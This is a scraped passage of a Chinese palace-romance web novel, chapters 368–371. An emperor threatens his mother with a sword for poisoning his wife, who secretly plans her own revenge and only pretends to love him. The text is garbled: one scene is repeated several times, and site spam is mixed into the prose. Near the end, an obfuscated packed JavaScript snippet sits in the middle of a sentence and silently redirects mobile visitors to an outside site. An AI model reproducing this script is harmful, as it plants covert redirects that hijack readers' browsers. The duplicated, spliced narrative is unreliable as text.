第368章 蛮蛮,你想如何处置? “啊……”苏采薇闭上眼,惊恐地尖叫。 她哆嗦的双腿间涌出暖流,襦裙濡湿一片,一股暖流从腿间淅淅沥沥地流在脚跟。 长剑劈中了苏采薇的发髻。 点翠凤冠四分五裂! 镶嵌上去的珍珠散落一地,噼里啪啦在地上跳动。 一缕长发从她的发顶飘了下来。 苏采薇的魂儿仿佛都吓得离体了,她的嘴张得都快容得下一个鸡蛋,双眼呆滞,若不是腿肚子在抽搐,她看上去就像个提线木偶。 “你再敢讲蛮蛮一句不好,朕就割了你的舌头!”裴墨染怒吼。 苏采薇这才渐渐恢复意识,她这才意识到自己没死,她还活着。 她讷讷地点头,逐渐找回自己的声音,哭道:“好,好……” 裴墨染眼中燃烧着熊熊烈火,“你这个毒妇,害死了父皇不够,又想害蛮蛮,接下来你是不是想害朕,害朕的儿子、女儿?” 苏采薇使劲摇头,她想解释,可太害怕,脑袋太乱,她说不出一句话。 “蛮蛮是不会死的,但是你就说不定了。”裴墨染举起剑,对准了苏采薇。 苏采薇连滚带爬地跑,裴墨染在后面追着劈砍。 砰—— 茶几被砍成两半。 咚—— 博古架被掀翻,苏采薇精心收藏的珍宝被摔得四分五裂。 啪—— 梳妆台被踹翻,里面的胭脂水粉、珠宝首饰都被裴墨染报复性地乱砍乱劈。 “啊……救命啊……” “谁来救救哀家?” “你不能弑母,你不能啊……”苏采薇边跑边哭。 裴墨染闲庭信步地走在后面,阴恻恻地笑了。 他棱角分明的侧脸被烛火分明一明一暗两部分,看上去十分骇人,就像是地狱爬上来的勾魂使者,“你可以杀夫,为何朕不能弑母?” “不要啊……”苏采薇踩中了一只花瓶,脚一滑,摔得四脚朝天。 她迅速转身,手脚并用,敏捷地往前爬到用膳的圆桌下,又从桌下爬到床底、书桌下…… 位置不停地变动,她披头散发,气喘吁吁,狼狈得像条狗。 长剑一路划在大理石地板上,发出刺心的尖锐声。 裴墨染跟着她,她爬到哪里,他就砍到哪里。 眼中的鄙夷、恨意如浪潮般汹涌。 他虽然气急了,但还不至于真傻到弑母。 既然不能杀苏采薇,那他出出气总可以吧? …… 另一边。 少顷,万嬷嬷气喘吁吁地跑来翊坤宫。 “皇后娘娘,不好了,陛下提剑去翊坤宫了。”万嬷嬷急红了脸,“陛下才登基,万万不可背上弑母的骂名啊。” 云清婳觉得可笑。 万嬷嬷是在求一个差点被苏采薇害死人的受害者,去救苏采薇? 真把她当菩萨了? 她看起来像是很贱的人吗? 云清婳懒得再装小绵羊,“万嬷嬷是眼瞎了吗?” “……什么?”万嬷嬷瞪圆了眼,像是没想到云清婳会这么说。 飞霜黑着脸道:“万嬷嬷没看见凤体违和吗?您为何要跟娘娘说这些?整日要皇后娘娘体恤你们,谁来体恤娘娘?” 云清婳亮爪了。 她彻底不再伪装。 “是,是……”万嬷嬷陌生地看着云清婳,就好像第一次认识她。 毕竟在万嬷嬷的心中,云清婳是一只端庄优雅、大气温婉的天鹅。 没有锋利的爪牙。 可现在她似乎才看清云清婳。 “请回吧!别扰了皇后娘娘清净。”飞霜不客气地将万嬷嬷扶走。 万嬷嬷失魂落魄地离开了。 又过了一会儿,王显匆匆跑来,他扑通一声跪在云清婳面前,“皇后娘娘不好了,陛下将翊坤宫的寝殿门反锁上了,里面噼里啪啦响个不停,太后惨叫连连,也不知发生了什么。若是有什么三长两短,有损陛下威名啊。” 云清婳跟飞霜笑出了声,二人一脸舒畅。 裴墨染是个武夫,他发起怒来,手段可想而知。 更何况此次裴墨染是在她这里吃了瘪,才去翊坤宫报仇的? “陛下反锁了门,本宫能穿门而过不成?太后毒杀本宫,这是她罪有应得。”云清婳冷嗤。 王显抬起头,一脸怪异的看着云清婳。 似乎也觉得不对劲。 飞霜冷着脸上前,“王公公,皇后娘娘不是圣人,你们来此,不觉得自己欺人太甚吗?” “是……”王显的脸登时一红,忙不迭走了。 毕竟中了毒,云清婳的身子还是很不舒服。 她见了云夫人、姜柔、魏娴几人后,没说一会儿话,便睡下了。 再次醒来时,裴墨染正坐在榻前怔怔地看着她。 云清婳的眼中没什么感情。 “蛮蛮,我去翊坤宫给你报仇了,但我……”他顿了顿,“不可能杀了苏采薇,毕竟他是当朝太后,是我的母亲,我还是下不去手。更何况我才登基,若是弑母,定会落下话柄。” 这是云清婳早都预料到的。 裴墨染若是当真弑母,那才有问题。 他是个成年人,不可能为了一时之气影响自己的皇位。 “夫君去翊坤宫,做了什么?”她好奇地问。 “我亮剑吓唬了她一下,她便惨叫连连、屁滚尿流,我把她禁足了,她的寝殿能砍的都被我全砍了。”裴墨染似乎有些遗憾,“若不是皇祖母来了,我还能再折腾一番。” 她的手抚上他的手背,“今日好多人来,让我劝你。” “别理他们!你生气是应该的,你差点失去性命,那些混账怎敢来找你求情的?你才醒过来,那帮狗奴才便来气你,我已经责骂过他们了。”裴墨染的脸色很不好看。 显然,万嬷嬷、王显已经暗戳戳在裴墨染面前告过状了。 但是裴墨染不在乎。 “你看,我还砍下了这个。”他献宝似的,从身后拿出一个锦盒。 锦盒中装着一截秀发。 明显是苏采薇的。 云清婳对狗男人的表现还算满意,她试探道:“夫君,我不是一个大度到能原谅杀我的凶手的人。” “蛮蛮想如何?”裴墨染蹙眉问。 “……”她抿唇不语。 裴墨染叹了口气,“你想如何都可以跟我说,我们是夫妻,不必遮掩。” 她想要苏采薇去死! 第369章 他发现感情中的缝隙 当然,云清婳不会说出来。 既然裴墨染饶了苏采薇一命,就说明他不同意这么做。 杀死苏采薇,还是得她亲自动手。 “罢了……”她似乎太过疲惫,缓缓阖上眼。 他拧着眉头,“蛮蛮遇事不要憋在心里,你放心,我必不会让你赌输,你且看着,我不允许任何人轻视你、轻视云家。” 这算是许下承诺了。 裴墨染是经过深思熟虑的。 蛮蛮就算贵为皇后,可也有不长眼的人往上撞。 光有宠爱是不够的。 他必须得提高蛮蛮的地位,这么一来才没狗眼看人低,见人下菜碟的欺负蛮蛮。 没到最后,裴墨染的话并不能激起她心中的波澜。 不过话说到这个份上,已经可以给他好脸色了。 男人也是会心累的。 再盛大的篝火,接连泼冷水也是会浇熄的。 僵持下去,不仅不会得到好处,甚至适得其反。 云清婳睁开眼,她挤出委屈的表情,“你知道宫里的人,背后是怎么说我的吗?” 说着,她吸吸鼻子,好像快哭了。 现在的她,已经不想流眼泪了,因为太费眼睛。 裴墨染连忙用指腹给她擦眼泪,“别哭啊,那些狗东西是怎么说你的?我割了他们的舌头!” 她水灵灵的杏眸狠狠瞪他,“他们说你是为了利用我,才假意宠爱我,其实你心里爱的是赵婉宁。” 裴墨染:??? 又是赵婉宁! 他是真的生气了,这也太侮辱人了! 赵婉宁这贱妇,说他跟她有不共戴天之仇也不为过。 曾经的恩情,早在她一次次的算计、腌臜中消磨,余下的只有厌恶、鄙夷、膈应。 “所以你信了?”裴墨染脸色黑沉,有种山雨欲来的阴郁感,“赵婉宁隐瞒我生子之事,把我耍得团团转,害了我们第一个孩儿,险些让你丧命,让你我离心,还伤害了谢姑娘,爱她?爱从何而来?” 云清婳就知道他会是这个反应。 鞭子只有落在自己身上最痛。 风言风语对准她的时候,裴墨染最多心疼一下。 可舆论刺向他的时候,他才会觉得刺耳、愤怒! “可是云家接二连三被你停职,我真的被吓到了,我怕啊……”她假模假样地擦眼泪。 裴墨染气不打一处来,但是他完全理解,这件事是他过分了。 相当于他把利剑架在云家人脖子上了,还劝蛮蛮放心,说他只是试试剑锋利不锋利。 他牵起她的手放在心口的位置,让她感受他的心跳。 裴墨染深深地说,“蛮蛮,爱上你之后,我才晓得我对赵婉宁算不上爱,仅仅是感激跟责任。 当时赵婉宁为我挡箭,军营的所有弟兄都在起哄,我太渴望被爱了,就顺水推舟跟她……” 她膈应不已,一巴掌朝他的嘴拍过去,“闭嘴!谁要听你回忆跟赵婉宁的情情爱爱?” 真是晦气! 每每提到这三个字,她都恨得牙痒痒。 裴墨染这才意识到自己在蛮蛮面前说了什么,他的脸涨得通红,心虚不已。 但慌乱之余,他心下感受到了一丝丝的甜。 蛮蛮这是吃醋了。 云清婳眼尖地捕捉到裴墨染眼底的窃喜。 她不懂,挨打了狗男人高兴个什么劲儿。 “蛮蛮,我就是想解释我跟赵婉宁……” 云清婳打断他的话,“你还说!你再说,我就讲我跟裴云澈的往事!当初我们……” 裴墨染以迅雷不及掩耳之势捂住她的嘴。 他才不听! 她净会气人! “总之,我对她只有厌恶跟憎恨,我即刻下旨找出此谣言的源头,定把那人的舌头割了。”裴墨染的话冷若冰霜。 她叹了口气,“明日再折腾吧,当心吵醒了孩子。” “他们睡得跟小猪似的,吵不醒的,放心吧。”裴墨染脸上的线条骤然柔软,伸长胳膊越过云清婳给他们扯了扯被褥。 云清婳戳戳他的心口,“夫君,我可得提醒你,两个孩子现在可讨厌你了,你得多展现下父爱了。” “嗯?”裴墨染不解的看着她。 她撇清关系,“他们听到陆才人跟黄采女说话了,承基知道你欺负外公,辞忧也怪你没保护我。我也很惊讶,没想到他们能大致听懂大人在说什么。” 裴墨染的眼神倏地变得骄傲,他勾起嘴角,“孩子太聪明了也不是好事。” “孩子早慧,夫君要多陪陪他们啊,不然孩子会跟你生分的。”她的态度缓和下来。 裴墨染察觉到她态度的松动,这是和好的信号。 他笑道:“遵命!我什么都听娘子的。” …… 翌日,云清婳醒来时阳光撒了进来,填满了半室。 已然晌午。 这么久以来,她难得睡了次懒觉。 裴墨染坐在榻边,认真地看着她的眉眼。 这把她吓了一跳。 狗男人,不干正事,盯着她干嘛? 他的指尖轻点她的鼻尖,“看你睡得香甜,我故意没让人叫醒你,你太累了,多歇歇也好。” 裴墨染小心翼翼地将云清婳扶起来,在她背后垫好了枕头,方便她靠着,“正好,我先喂你吃饭,吃完饭咱们再喝药。我让人备了你最喜欢的芙蓉糕,但是太医说太腻口了,只能吃一个。” “飞霜喂我就好。”她打了个哈欠。 “蛮蛮,你还在生我的气?你别对我这么冷淡好不好?”他蹙眉,紧张地问。 他怎么变得疑神疑鬼,神经兮兮的? “我是看你眼睛里都是红血丝,恐怕好几日没合眼了,怕你太累了。”她虚弱地解释。 “蛮蛮身子有虞,我怎放心得下?再累,照顾你也不累,任何事都没有你重要。”他正色道。 云清婳白了他一眼,这话倒是句人话。 裴墨染捏着瓷勺,确定吹得温热后,才送到她嘴边。 “蛮蛮,一切都怪我太贪心。”他懊恼地说。 不必明说,云清婳便知道他指的是什么,她揶揄道:“要不皇帝不做了?跟我归隐田园?” 裴墨染猝然笑了。 他的笑说明了一切。 他放不下权力。 “我得守好大昭的江山,将来把江山好好地传给承基。”他的语气变得严肃。 “等到承基、辞忧长大了,能独当一面了,那时我愿跟蛮蛮归隐田园,只有你我,平淡半生。”他的双眼像是被点燃,眸子晶亮地看着她。 第370章 狗男人变得敏感多疑 他的脸上露出幸福憧憬的表情。 云清婳被他满腔的热情给刺到。 她就像是生长在阴暗角落的人,在裴墨染描述的蓝图,她中感受不到一点幸福与期待。 她下意识避开他的目光。 “怎么了?他扶着她的肩膀,蹙眉问。 “……她的表情不咸不淡。 可惜,她跟他不会有以后! 等复仇完成,她就不想演了,到时候裴墨染发现真相,还会有现在的想法吗? 还会想跟她执手下半生吗? 他们从相识的第一面起,他便落在了她的算计之中。 那时候,裴墨染就算不计前嫌,还想跟她相亲相爱,她也不愿意了! “我才不要跟你过贫苦日子,等到那时,我就不要你了。她似真非真地说。 裴墨染一愣,随后他嗤嗤地笑了。 可看着她的表情,他不自觉认真起来,“你这个女人,怎么嫌贫爱富呢?谁说咱们只能过清贫日子?平淡又不是贫苦,我还能饿着你? 她不想聊这些,反正又实现不了,何必给裴墨染希望? “孩子呢?你跟他们的关系可有缓和?她的话锋一转,明显在岔开话题。 裴墨染颔首。 两个孩子再聪明,毕竟也只是孩子,还是很好哄的。 他捏着她的下巴,“蛮蛮,你在逃避?将来你真心想要踹了我? “……云清婳张开嘴,想要否认。 裴墨染的眉心一拧,他面色沉沉,紧接着说:“莫不是真像旁人说的,若不是为了孩子,你早就不想忍受我了? 他现在的状态就像是害怕被渣男抛弃的糟糠之妻。 云清婳微不可闻地叹了口气。 她知道,他们二人相处太久,已经很了解对方了。 裴墨染的反应不是患得患失、敏感多疑,而是他真正感知到了他们之间的感情出现了问题。 感知到了她的态度不对劲。 爱的越深,就越能体会爱的深浅。 “哪个疯子在你面前胡说八道?夫君又在瞎想,我逗你玩呢。她倏地挤出笑。 云清婳其实很心累,她不想演了。 希望狗男人能顺着台阶下,不要 再深究下去。 裴墨染的表情愈发阴沉、认真。 他怎会看不出云清婳是在敷衍,想要快速将此事揭过去? “蛮蛮,若是我做错了什么,你一定要告诉我,我愿意改。你千万不要憋在心里,跟我渐行渐远,家是最小国,国是千万家,我心中有国,但更在乎我们的家。他字字深沉,声音仿佛从肺腑发出。 云清婳:…… 她的心中还是毫无波澜。 裴墨染继续道:“是不是因为云家的事,让你对我失望了?你再等等我,一个月后我定会给你一个满意的答复。 云清婳突然想到皇上临终前对裴墨染的交代。 当然,这些都是裴墨染主动跟她说的。 皇上说她太聪明了,裴墨染玩不过她。 其实并非她太聪明,而是裴墨染愿意在她面前当一个傻子。 云清婳实在不知道该如何回应。 表演感动或是娇嗔着糊弄过去? 最终,她只是淡淡地说:“我信你。 说更新,记住域名caixs↓(请来才小 说 看最新章节 完整章节) “……裴墨染的眼中尽是落寞。 这种感觉就像满腔热情,被兜头泼了盆冷水。 裴墨染陪云清婳、孩子用过午膳后,他罕见地没有离开,而是坐在书桌前批改堆积如山的奏折。 云清婳不解地睨着他。 承基、辞忧也很不习惯,也迷茫地看着他。 他解释:“我想多陪陪你跟孩子,这段日子都是我不好,忽略了你们,所以才让你们如此不安。 云清婳嫌弃不已。 狗男人在这里才烦人。 男人不回家,定期给钱的伪丧偶式婚姻才是最幸福的。 “等爹爹批完奏折,就陪你们放风筝。裴墨染宠溺道。 承基、辞忧的眼睛霎时亮了,“好耶…… “我要放皇爷爷送我的风筝。辞忧甩着小短腿去找风筝了。 承基道:“皇爷爷在天上,就能看见风筝了。 听到这里,裴墨染的心陡然发酸。 孩子比他对父皇的感情深。 真讽刺。 云清婳捕捉到了他的惆怅, 有的人就得用一生去治愈童年。 …… 裴墨染陪两 个孩子放风筝前,将云清婳抱去庭院树下的躺椅上。 云清婳坐在火炉前。 她的身子还没恢复,有些提不起精神,“我醒来的事,裴云澈、谢泽修他们都知道了吧? 飞霜端来一盘点心,“都知道了。 她颔首。 忽地,庭院中的笑声戛然而止,裴墨染带着两个孩子走来。 裴墨染的脸上泌出细汗,承基、辞忧的小脸上都是汗珠。 奶娘跟飞霜怕孩子着凉,连忙拿着汗巾,给他们擦汗。 云清婳拿出帕子给裴墨染擦拭脸颊的汗,“你陪孩子玩怎么也出汗了?你少时在军营本就折损了身子,之前又被先皇罚跪伤了膝盖,日后要好好韬养身子。 说着,她端起参茶递给他。 裴墨染没接,眼眸黯了下去,“蛮蛮是嫌弃我体弱?觉得我是病秧子? 云清婳语塞,顿感莫名其妙地瞥他。 这不是没事找事吗?! 这狗男人怎么变得这么敏感? “是不是人当了皇帝都会变得敏感多疑?你的心眼比针鼻大不了多少。她狠戳了下他的脑袋,斥了一句。 “……裴墨染抿唇,眼神别有深意。 云清婳知道,他又在胡思乱想。 她伸出手拧他的耳朵,毫不客气地说:“为何不回话?你莫不是在心里骂我? 四下的宫女太监连忙转过身面对墙壁,就像在说:我们什么都没看见。 裴墨染的嘴巴微张,莫测的眼神登时变得诧异、委屈,“我哪敢?我怎舍得骂你? 这个母老虎! 在大庭广众下,孩子面前也不知道给他留点面子。 云清婳松开手,狐疑地打量他。 …… 晚上,裴墨染特意命人将承基、辞忧的小枕头、小被子从榻上抱回他们自己的寝屋。 他想跟蛮蛮独处,增进感情。 两个孩子在,许多体己话都不好意思说。 沐浴后,裴墨染抱着云清婳上榻,殿里烧了地龙,寝殿里暖烘烘的。 被褥里并不算凉。 云清婳躺在锦衾里,吐出一口浊气。 “身子还难受吗?裴墨染担忧地望着她,他的眼圈渐渐泛红。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 个孩子放风筝前,将云清婳抱去庭院树下的躺椅上。 云清婳坐在火炉前。 她的身子还没恢复,有些提不起精神,“我醒来的事,裴云澈、谢泽修他们都知道了吧?” 飞霜端来一盘点心,“都知道了。” 她颔首。 忽地,庭院中的笑声戛然而止,裴墨染带着两个孩子走来。 裴墨染的脸上泌出细汗,承基、辞忧的小脸上都是汗珠。 奶娘跟飞霜怕孩子着凉,连忙拿着汗巾,给他们擦汗。 云清婳拿出帕子给裴墨染擦拭脸颊的汗,“你陪孩子玩怎么也出汗了?你少时在军营本就折损了身子,之前又被先皇罚跪伤了膝盖,日后要好好韬养身子。” 说着,她端起参茶递给他。 裴墨染没接,眼眸黯了下去,“蛮蛮是嫌弃我体弱?觉得我是病秧子?” 云清婳语塞,顿感莫名其妙地瞥他。 这不是没事找事吗?! 这狗男人怎么变得这么敏感? “是不是人当了皇帝都会变得敏感多疑?你的心眼比针鼻大不了多少。”她狠戳了下他的脑袋,斥了一句。 “……”裴墨染抿唇,眼神别有深意。 云清婳知道,他又在胡思乱想。 她伸出手拧他的耳朵,毫不客气地说:“为何不回话?你莫不是在心里骂我?” 四下的宫女太监连忙转过身面对墙壁,就像在说:我们什么都没看见。 裴墨染的嘴巴微张,莫测的眼神登时变得诧异、委屈,“我哪敢?我怎舍得骂你?” 这个母老虎! 在大庭广众下,孩子面前也不知道给他留点面子。 云清婳松开手,狐疑地打量他。 …… 晚上,裴墨染特意命人将承基、辞忧的小枕头、小被子从榻上抱回他们自己的寝屋。 他想跟蛮蛮独处,增进感情。 两个孩子在,许多体己话都不好意思说。 沐浴后,裴墨染抱着云清婳上榻,殿里烧了地龙,寝殿里暖烘烘的。 被褥里并不算凉。 云清婳躺在锦衾里,吐出一口浊气。 “身子还难受吗?”裴墨染担忧地望着她,他的眼圈渐渐泛红。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 个孩子放风筝前,将云清婳抱去庭院树下的躺椅上。 云清婳坐在火炉前。 她的身子还没恢复,有些提不起精神,“我醒来的事,裴云澈、谢泽修他们都知道了吧? 飞霜端来一盘点心,“都知道了。 她颔首。 忽地,庭院中的笑声戛然而止,裴墨染带着两个孩子走来。 裴墨染的脸上泌出细汗,承基、辞忧的小脸上都是汗珠。 奶娘跟飞霜怕孩子着凉,连忙拿着汗巾,给他们擦汗。 云清婳拿出帕子给裴墨染擦拭脸颊的汗,“你陪孩子玩怎么也出汗了?你少时在军营本就折损了身子,之前又被先皇罚跪伤了膝盖,日后要好好韬养身子。 说着,她端起参茶递给他。 裴墨染没接,眼眸黯了下去,“蛮蛮是嫌弃我体弱?觉得我是病秧子? 云清婳语塞,顿感莫名其妙地瞥他。 这不是没事找事吗?! 这狗男人怎么变得这么敏感? “是不是人当了皇帝都会变得敏感多疑?你的心眼比针鼻大不了多少。她狠戳了下他的脑袋,斥了一句。 “…… 云清婳知道,他又在胡思乱想。 她伸出手拧他的耳朵,毫不客气地说:“为何不回话?你莫不是在心里骂我? 四下的宫女太监连忙转过身面对墙壁,就像在说:我们什么都没看见。 裴墨染的嘴巴微张,莫测的眼神登时变得诧异、委屈,“我哪敢?我怎舍得骂你? 这个母老虎! 在大庭广众下,孩子面前也不知道给他留点面子。 云清婳松开手,狐疑地打量他。 …… 晚上,裴墨染特意命人将承基、辞忧的小枕头、小被子从榻上抱回他们自己的寝屋。 他想跟蛮蛮独处,增进感情。 两个孩子在,许多体己话都不好意思说。 沐浴后,裴墨染抱着云清婳上榻,殿里烧了地龙,寝殿里暖烘烘的。 被褥里并不算凉。 云清婳躺在锦衾里,吐出一口浊气。 “身子还难受吗?裴墨染担忧地望着她,他的眼圈渐渐泛红。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 个孩子放风筝前,将云清婳抱去庭院树下的躺椅上。 云清婳坐在火炉前。 她的身子还没恢复,有些提不起精神,“我醒来的事,裴云澈、谢泽修他们都知道了吧? 飞霜端来一盘点心,“都知道了。 她颔首。 忽地,庭院中的笑声戛然而止,裴墨染带着两个孩子走来。 裴墨染的脸上泌出细汗,承基、辞忧的小脸上都是汗珠。 奶娘跟飞霜怕孩子着凉,连忙拿着汗巾,给他们擦汗。 云清婳拿出帕子给裴墨染擦拭脸颊的汗,“你陪孩子玩怎么也出汗了?你少时在军营本就折损了身子,之前又被先皇罚跪伤了膝盖,日后要好好韬养身子。 说着,她端起参茶递给他。 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个孩子放风筝前,将云清婳抱去庭院树下的躺椅上。 云清婳坐在火炉前。 她的身子还没恢复,有些提不起精神,“我醒来的事,裴云澈、谢泽修他们都知道了吧? 飞霜端来一盘点心,“都知道了。 她颔首。 忽地,庭院中的笑声戛然而止,裴墨染带着两个孩子走来。 裴墨染的脸上泌出细汗,承基、辞忧的小脸上都是汗珠。 奶娘跟飞霜怕孩子着凉,连忙拿着汗巾,给他们擦汗。 云清婳拿出帕子给裴墨染擦拭脸颊的汗,“你陪孩子玩怎么也出汗了?你少时在军营本就折损了身子,之前又被先皇罚跪伤了膝盖,日后要好好韬养身子。 说着,她端起参茶递给他。 裴墨染没接,眼眸黯了下去,“蛮蛮是嫌弃我体弱?觉得我是病秧子? 云清婳语塞,顿感莫名其妙地瞥他。 这不是没事找事吗?! 这狗男人怎么变得这么敏感? “是不是人当了皇帝都会变得敏感多疑?你的心眼比针鼻大不了多少。她狠戳了下他的脑袋,斥了一句。 “……裴墨染抿唇,眼神别有深意。 云清婳知道,他又在胡思乱想。 她伸出手拧他的耳朵,毫不客气地说:“为何不回话?你莫不是在心里骂我? 四下的宫女太监连忙转过身面对墙壁,就像在说:我们什么都没看见。 裴墨染的嘴巴微张,莫测的眼神登时变得诧异、委屈,“我哪敢?我怎舍得骂你? 这个母老虎! 在大庭广众下,孩子面前也不知道给他留点面子。 云清婳松开手,狐疑地打量他。 …… 晚上,裴墨染特意命人将承基、辞忧的小枕头、小被子从榻上抱回他们自己的寝屋。 他想跟蛮蛮独处,增进感情。 两个孩子在,许多体己话都不好意思说。 沐浴后,裴墨染抱着云清婳上榻,殿里烧了地龙,寝殿里暖烘烘的。 被褥里并不算凉。 云清婳躺在锦衾里,吐出一口浊气。 “身子还难受吗?裴墨染担忧地望着她,他的眼圈渐渐泛红。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 个孩子放风筝前,将云清婳抱去庭院树下的躺椅上。 云清婳坐在火炉前。 她的身子还没恢复,有些提不起精神,“我醒来的事,裴云澈、谢泽修他们都知道了吧?” 飞霜端来一盘点心,“都知道了。” 她颔首。 忽地,庭院中的笑声戛然而止,裴墨染带着两个孩子走来。 裴墨染的脸上泌出细汗,承基、辞忧的小脸上都是汗珠。 奶娘跟飞霜怕孩子着凉,连忙拿着汗巾,给他们擦汗。 云清婳拿出帕子给裴墨染擦拭脸颊的汗,“你陪孩子玩怎么也出汗了?你少时在军营本就折损了身子,之前又被先皇罚跪伤了膝盖,日后要好好韬养身子。” 说着,她端起参茶递给他。 裴墨染没接,眼眸黯了下去,“蛮蛮是嫌弃我体弱?觉得我是病秧子?” 云清婳语塞,顿感莫名其妙地瞥他。 这不是没事找事吗?! 这狗男人怎么变得这么敏感? “是不是人当了皇帝都会变得敏感多疑?你的心眼比针鼻大不了多少。”她狠戳了下他的脑袋,斥了一句。 “……”裴墨染抿唇,眼神别有深意。 云清婳知道,他又在胡思乱想。 她伸出手拧他的耳朵,毫不客气地说:“为何不回话?你莫不是在心里骂我?” 四下的宫女太监连忙转过身面对墙壁,就像在说:我们什么都没看见。 裴墨染的嘴巴微张,莫测的眼神登时变得诧异、委屈,“我哪敢?我怎舍得骂你?” 这个母老虎! 在大庭广众下,孩子面前也不知道给他留点面子。 云清婳松开手,狐疑地打量他。 …… 晚上,裴墨染特意命人将承基、辞忧的小枕头、小被子从榻上抱回他们自己的寝屋。 他想跟蛮蛮独处,增进感情。 两个孩子在,许多体己话都不好意思说。 沐浴后,裴墨染抱着云清婳上榻,殿里烧了地龙,寝殿里暖烘烘的。 被褥里并不算凉。 云清婳躺在锦衾里,吐出一口浊气。 “身子还难受吗?”裴墨染担忧地望着她,他的眼圈渐渐泛红。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 第371章 试探,难道蛮蛮不爱我? 一想到蛮蛮服用了鹤顶红,他就胸腔一窒,仿佛在冰天雪地置身于深海不断下坠。 他挨过刀子、枪、箭,受过许多伤,也中过毒,但就是没服过鹤顶红,他无法感同身受,无法体会蛮蛮万分之一的痛苦。 思及此,他便觉得无比愧疚自责。 差一点,他就永远失去蛮蛮了。 苏采薇这贱妇,自己为何不尝尝鹤顶红? 他真的动过这个念头……还不止一次。 他自己都被自己吓到了,他就像是个怪物,生活在畸形的关系里。 母亲杀了父亲,他对父母没有感情,甚至想要弑母…… 云清婳斜睨着他,戏谑道:“夫君不盼着我好?赵太医的解毒丸药效极佳,毒已经排出来了。” 他的瞳孔一震,连忙解释:“你又冤枉我!我怎么可能不盼着你好?我恨不得能替你受苦。” 云清婳白了他一眼。 又不能真替她受罪,只是漂亮话罢了。 “上来。”她冲他勾勾手。 裴墨染像是等待被主人抚摸的狗狗,要是有尾巴,他的尾巴肯定要甩上天了。 他脱了鞋,迫不及待地掀开被褥钻了进去,他笑吟吟地看着云清婳,眼神热切。 “蛮蛮,你不生气了对不对?”他不放心的又问。 云清婳莫名其妙地睨他,“我们昨日不是都说好了吗?” 他沉默了一瞬,正色道:“可是我知道你心里有心结,我们夫妻之间都生分了。这段时间发生太多事了,云家的事,苏采薇的事都横亘在我们之间。” “夫君想多了。”她的嘴角微不可察地勾起一抹弧度。 狗男人现在的反应就是标准的心虚。 因为他心里明白,他做了对不起她的事,所以她的一颦一笑、一举一动都会在他心上无限放大,让他惶恐不安。 “我才没有想多,你休想骗我,你心中有气就打我骂我,千万别憋在心里,也不要对我失望。我爱你,爱孩子,我的心一直没有变。”他试探性地握住被褥下云清婳的手。 她的手冷如铁,让他有些心疼。 蛮蛮本就怕冷,这次伤着底子,体质更寒了。 裴墨染立即握紧她的双手,为她取暖。 她很容易累,这会儿已然有了困意,她没心没肺地揶揄:“你说话越来越恶心了,张口闭口就是爱来爱去的。” “夫妻间说话腻歪点怎么了?难道蛮蛮不爱我?”他理直气壮地反问,像在斗嘴。 实则裴墨染双眼定定地观察云清婳的表情,心里也带了点试探。 他就像是个缺爱的孩子。 手段、技巧太拙劣,以至于云清婳一眼便能看出来。 她嘲弄地笑了下,“我爱你,行了吧?” “……” 裴墨染当然对这个答案不满意。 她明显在敷衍。 可是揪住这件事不放,会显得他很较真。 这像一根极细的刺扎进了他的心。 裴墨染拧紧的眉宇今晚就没松开过。 他有一种直觉,他们的感情像是快被吹散了。 就像是风雨飘摇的夜晚,站在悬崖边上的人。 云清婳伸出手,为他抚平眉心的结。 她知道裴墨染在焦虑什么。 她现在不想演了,对他敷衍了,所以裴墨染感受不到足够的爱便慌了。 再加上他们之间夹杂了杂七杂八的事,裴墨染又愧对她,于是这种不安就愈发强烈。 这就类似断崖式分手。 对你热情似火的人,突然冷淡。 裴墨染现在宁愿蛮蛮对他发脾气,扇他巴掌,也好过现在淡淡的,没什么情绪的蛮蛮。 “蛮蛮,你不会离开我对吗?”他前言不搭后语,突然问了一句。 云清婳的眼神犀利地刺向他,“夫君是做了对不起我的事?所以才会胆战心惊,这么害怕?” “我没有……”他将她拥入怀,“你呀,就喜欢胡思乱想,到时候你就知道我的良苦用心了。” 她很期待裴墨染准备怎么对待云家。 云清婳的双手冷得不行,才沐浴不久,身子就冷了。 她很困却冻得睡不着,于是她猝然将手从裴墨染的亵衣衣摆探了进去,放到他的温热的腹肌上。 嘶—— 裴墨染冷得倒吸了口凉气,就像身上突然被放了两块冰疙瘩。 但他却很高兴,这才应该是他们之间的相处状态。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16450342|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他好气又好笑 ,“你的手结冰了?想冻死我?” 有一说一,狗男人虽然可恶,但他的身材一流。 “我的脚还冷呢。”她眨巴着无辜纯净的杏眼,巴巴地看向他。 “少来,你要放就放。” 这个小妮子还能怕他不成? 云清婳的脚本可以放在他的小腿间的,可她坏心眼故意往下够了够,冰凉的脚尖触碰到裴墨染的脚面。 他被冻得一颤,下意识缩了下脚。 她的脚比手还要冰! 云清婳轻轻地笑了,“夫君这么怕冷啊?” 她不好过,裴墨染也甭想好过! 谁让他不肯彻底帮她报仇的? 裴墨染的表情倏地认真起来,他腾的起身,脸色凝重。 他掀开被褥,给她掖紧被角。 “???”云清婳迷茫地看着他。 他生气了? 想走了? 当了皇帝后,自觉身娇肉贵,脾气也变大了? 裴墨染稳稳的汤婆子递到她手上,“拿好,当心水撒出来烫到你。” “……”云清婳怔怔地搂住汤婆子,还是不明白他想干什么。 狗男人飘了? 不愿帮她取暖了? 裴墨染坐到榻尾,他的手伸进褥子里,一把抓住她冻得冰凉的双脚。 他垂眸看了眼,她肉绵绵的小脚丫都呈现出淡淡的紫色,正所谓寒从脚起,由此可见她体寒有多严重。 裴墨染的双手炙热,他心疼地捏捏她的脚心。 云清婳下意识缩了下腿,“裴墨染,你是禽兽吗?!放开我!” 